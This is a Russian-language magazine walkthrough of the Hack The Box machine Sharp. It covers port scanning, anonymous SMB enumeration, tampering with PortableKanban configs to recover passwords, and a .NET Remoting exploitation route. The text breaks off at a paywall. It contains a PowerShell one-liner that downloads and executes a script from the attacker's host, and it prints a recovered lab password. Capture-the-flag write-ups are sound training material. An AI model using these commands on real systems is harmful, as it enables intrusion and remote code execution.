В этой статье я покажу, как экс­плу­ати­ровать уяз­вимость в .NET Remoting Services, а затем мы получим управле­ние хос­том с помощью фрей­мвор­ка PowerShell Empire. А полиго­ном нам пос­лужит машина Sharp с пло­щад­ки Hack The Box. Ее заяв­ленный уро­вень слож­ности — Hard, поэто­му будет инте­рес­но!

warning

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

 

Разведка

 

Сканирование портов

Ад­рес нашей машины — 10.10.10.219, закиды­вай его в /etc/hosts, что­бы мож­но было обра­щать­ся к хос­ту по име­ни.

10.10.10.219 sharp.htb

Пер­вый шаг любой ата­ки — ска­ниро­вание пор­тов. Я обыч­но выпол­няю его вот таким неболь­шим скрип­том. Он дела­ет два про­хода: сна­чала по всем пор­там, затем с исполь­зовани­ем скрип­тов (опция -A) — по тем, где что‑то обна­ружи­лось. Это поз­воля­ет получить под­робный спи­сок сер­висов, работа­ющих на уда­лен­ном хос­те.

#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Результат работы скрипта
Ре­зуль­тат работы скрип­та

Как это обыч­но быва­ет на машинах с Windows, в резуль­тате ска­ниро­вания име­ем мно­го откры­тых пор­тов:

  • 135 — MSRPC, служ­ба уда­лен­ного вызова про­цедур;
  • 139 — служ­ба имен NetBIOS;
  • 445 — SMB;
  • 5985 — WinRM, служ­ба уда­лен­ного управле­ния;
  • 8888 и 8889 — спе­цифи­кация .NET Message Framing.

Как видишь, здесь нет веб‑сер­вера или каких‑то дру­гих сер­висов, которые бы пре­дос­тавля­ли широкое поле для про­верок и поис­ка учет­ных дан­ных. А зна­чит, у нас все­го два даль­нейших век­тора: тест без учет­ных дан­ных (через ано­ним­ный дос­туп) и, если ничего не получит­ся, брут­форс учет­ки.

 

Перебор SMB

Пер­вым делом про­веря­ем, что мож­но най­ти на шаре SMB. Находим общую дирек­торию kanban, которая дос­тупна без авто­риза­ции. С помощью SMBMap сра­зу прос­матри­ваем рекур­сивно все содер­жимое (опция -R):

smbmap -H sharp.htb
Проверка анонимного доступа
Про­вер­ка ано­ним­ного дос­тупа
smbmap -H sharp.htb -R kanban
Получение содержимого общего ресурса kanban
По­луче­ние содер­жимого обще­го ресур­са kanban

Фай­лов очень мно­го, и удоб­нее ана­лизи­ровать их локаль­но, поэто­му я под­клю­чил­ся к обще­му ресур­су через про­вод­ник и ско­пиро­вал все содер­жимое катало­га на локаль­ный хост.

По­хоже, перед нами какое‑то при­ложе­ние для Windows. Сре­ди фай­лов наш­лось руководс­тво поль­зовате­ля, это нам на руку. А в фай­ле PortableKanban.pk3 находим учет­ные дан­ные двух поль­зовате­лей. Их пароли ока­зались зашиф­рованы. Для прос­мотра фай­лов в фор­мате JSON в тер­минале советую исполь­зовать ути­литу jq, которая поз­воля­ет в два сче­та пар­сить раз­метку и вытяги­вать нуж­ные дан­ные.

cat PortableKanban.pk3 | jq
Учетные данные в файле конфигураций
Учет­ные дан­ные в фай­ле кон­фигура­ций
 

Точка входа

Пе­рей­дем на машину с Windows (я обыч­но работаю в Linux) и пос­мотрим, что нам даст запуск при­ложе­ния. Пер­вым делом оно нас про­информи­рует, что по умол­чанию пароль для адми­нис­тра­тора пус­той.

Сообщение Portable Kanban
Со­обще­ние Portable Kanban

Тут приш­ла идея изме­нить сами фай­лы кон­фигура­ции прог­раммы, так как циф­ровая под­пись отсутс­тву­ет и при­ложе­ние не смо­жет про­верить целос­тность содер­жащих­ся в кон­фиге дан­ных. Сох­раним фай­лы кон­фигура­ции перед их изме­нени­ем.

Файлы конфигурации, подлежащие копированию
Фай­лы кон­фигура­ции, под­лежащие копиро­ванию

Сна­чала уда­лим файл с раз­решени­ем md5, а потом убе­рем в двух оставших­ся фай­лах кон­фигура­ции пароль адми­нис­тра­тора по клю­чу EncryptedPassword. Теперь мы можем успешно авто­ризо­вать­ся как Administrator с пус­тым паролем.

Файл конфигурации с пустым паролем
Файл кон­фигура­ции с пус­тым паролем
Главное окно приложения Portable Kanban
Глав­ное окно при­ложе­ния Portable Kanban

Сто­ит хорошень­ко изу­чить при­ложе­ние, так как в нем могут най­тись записи с кри­тичес­кими дан­ными или еще какая‑нибудь полез­ная информа­ция. К при­меру, перей­дя в нас­трой­ки, мы видим спи­сок всех зарегис­три­рован­ных в прог­рамме поль­зовате­лей (те же, что и в кон­фиге). Что еще более важ­но, мы можем пос­мотреть пароль в откры­том виде, прос­то сняв галоч­ку. Пус­тое поле пароля у адми­нис­тра­тора сви­детель­ству­ет о том, что это рас­шифро­ван­ный пароль из кон­фига. Так мы узна­ем пароль поль­зовате­ля lars.

Пароль пользователя lars
Па­роль поль­зовате­ля lars

По­луча­ется, мы можем рас­шифро­вать пароли из кон­фига. Давай вос­ста­новим и пароль адми­на — он еще может при­годить­ся. Вос­ста­нав­лива­ем сох­ранен­ные кон­фиги и меня­ем роль (ключ Role) извес­тно­го нам поль­зовате­ля lars c User на Admin. Успешно авто­ризу­емся (ведь пароль мы уже зна­ем) и уже зна­комым нам спо­собом получа­ем пасс адми­нис­тра­тора.

Файл конфигурации с измененной ролью пользователя
Файл кон­фигура­ции с изме­нен­ной ролью поль­зовате­ля
Пароль пользователя Administrator
Па­роль поль­зовате­ля Administrator

Те­перь у нас уже есть кое‑какие учет­ные дан­ные, и мы можем поп­робовать под­клю­чить­ся к извес­тным нам служ­бам. Сно­ва начина­ем с SMB и узна­ем, что от име­ни поль­зовате­ля lars нам дос­тупна новая дирек­тория — dev. Сра­зу рекур­сивно прос­мотрим все содер­жимое.

smbmap -H sharp.htb -u lars -p 'G123HHrth234gRG'
Проверка доступа от имени пользователя lars
Про­вер­ка дос­тупа от име­ни поль­зовате­ля lars
smbmap -H sharp.htb -u lars -p 'G123HHrth234gRG' -R dev
Получение содержимого общего ресурса dev
По­луче­ние содер­жимого обще­го ресур­са dev

В най­ден­ной дирек­тории видим запис­ку и три исполня­емых фай­ла, один из которых — биб­лиоте­ка с говоря­щим наз­вани­ем RemotingLibrary.dll. Я сно­ва под­клю­чил­ся через про­вод­ник и сох­ранил все содер­жимое на локаль­ный хост. В запис­ке содер­жится спи­сок задач, где ска­зано о гря­дущем перено­се .NET на WCF и добав­лении валида­ции вход­ных дан­ных.

Результат работы скрипта
Ре­зуль­тат работы скрип­та

По­доб­ные упо­мина­ния очень полез­ны, так как теперь мы зна­ем, что ввод не филь­тру­ется, и в этом зак­люча­ется даль­нейший век­тор ата­ки. Что очень важ­но, при­ложе­ние написа­но на C#, поэто­му перено­сим фай­лы на машину с Windows и деком­пилиру­ем с помощью dnSpy, начиная, конеч­но же, с кли­ента. Как вид­но в стро­ке 15 деком­пилиро­ван­ного кода, при­ложе­ние отве­чает на пор­те 8888. А стро­ки 16 и 17 содер­жат учет­ные дан­ные для под­клю­чения, которое обес­печива­ется за счет исполь­зования System.Runtime.Remoting.Channels.Tcp.

Результат декомпиляции приложения Client.exe
Ре­зуль­тат деком­пиляции при­ложе­ния Client.exe

У меня уже был подоб­ный опыт, поэто­му я догады­вал­ся, какую уяз­вимость при­дет­ся экс­плу­ати­ровать. Речь о багах CVE-2014-1806 (недос­таточ­ное огра­ниче­ние на дос­туп к памяти) и CVE-2014-4149 (отсутс­твие про­вер­ки TypeFilterLevel). В экс­плу­ата­ции нам поможет экс­пло­ит Джей­мса Фор­шоу.

 

Закрепление

Прис­тупим к экс­плу­ата­ции. Сна­чала сге­нери­руем наг­рузку‑дроп­пер, которая будет выпол­нять основную наг­рузку. В качес­тве наг­рузки дроп­пера исполь­зуем однос­троч­ник на PowerShell, который заг­рузит c нашего хос­та код на PowerShell и выпол­нит его.

IEX(new-object net.webclient).downloadstring('http://10.10.14.73:8888/mt.ps1')

Продолжение доступно только участникам

Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте

Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее

Вариант 2. Открой один материал

Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.


  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии